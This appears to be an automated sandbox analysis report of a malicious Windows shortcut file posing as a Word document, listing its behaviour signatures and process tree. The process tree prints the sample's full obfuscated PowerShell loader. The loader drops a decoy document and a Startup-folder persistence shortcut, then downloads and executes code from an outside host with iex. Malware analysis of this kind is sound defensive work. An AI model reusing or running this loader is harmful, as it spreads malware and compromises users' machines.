Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260513-en
  • resource tags

    arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    10/08/2026, 01:00

General

  • Target
    _6e36060854006f9ed029ab7547f4478f0486ba5256ce9cc9027248882deebdc7.lnk
  • Size 56KB
  • Sample260810-bc36tayckb
  • SHA256 6e36060854006f9ed029ab7547f4478f0486ba5256ce9cc9027248882deebdc7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 1 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 1 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\_6e36060854006f9ed029ab7547f4478f0486ba5256ce9cc9027248882deebdc7.lnk
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:2244
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -command $src='NovaCX_Agency_Updated_2026047_091100_version_1_8.docx.lnk'; $out=$env:TEMP + '\NovaCX_Agency_Updated_2026047_091100_version_1_8.docx'; $fs=[IO.File]::OpenRead($src);$fs.Seek(20KB,'Begin')|Out-Null;$b=New-Object byte[] ($fs.Length - 20KB);$fs.Read($b,0,$b.Length)|Out-Null;$fs.Close();[IO.File]::WriteAllBytes($out,$b);start $out; $out=[Environment]::GetFolderPath('Startup') + '\OneDrive.lnk'; $fs=[IO.File]::OpenRead($src);$fs.Seek(10KB,'Begin')|Out-Null;$b=New-Object byte[] (10KB);$fs.Read($b,0,$b.Length)|Out-Null;$fs.Close();[IO.File]::WriteAllBytes($out,$b); &{$ty = 'dvn7d#Jt' + 'Bdj*cjU' + 'bn^v45F' + 'hjw#dhC' + 'ghi576_f#Ky' + 'jh9fKJ'; [string] $aCmd = {(New-fcxObject Nfcxetfcx.WebCfcxlient).DofcxwnlfcxoadfcxStrfcxinfcxg('ht' + 'tp:/' + '/fcxfcxfcx' + 'fcxtotalmassagefcxfcxfcx.site' + 'fcxfcx/fcxfcxfcxheartbeats/res/' + 'fcxbb.fcxphp')}; $rCmd = $aCmd.replace('fcx', ''); $finalExec = iex $rCmd; iex $finalExec; }
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Creates a file in the Startup directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3204

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        __PSScriptPolicyTest_4fgerjux.ztg.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4fgerjux.ztg.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/3204-2-0x0000018366750000-0x0000018366760000-memory.dmp

        memory/3204-3-0x0000018366750000-0x0000018366760000-memory.dmp

        memory/3204-10-0x0000018366790000-0x00000183667B2000-memory.dmp

        memory/3204-11-0x0000018366750000-0x0000018366760000-memory.dmp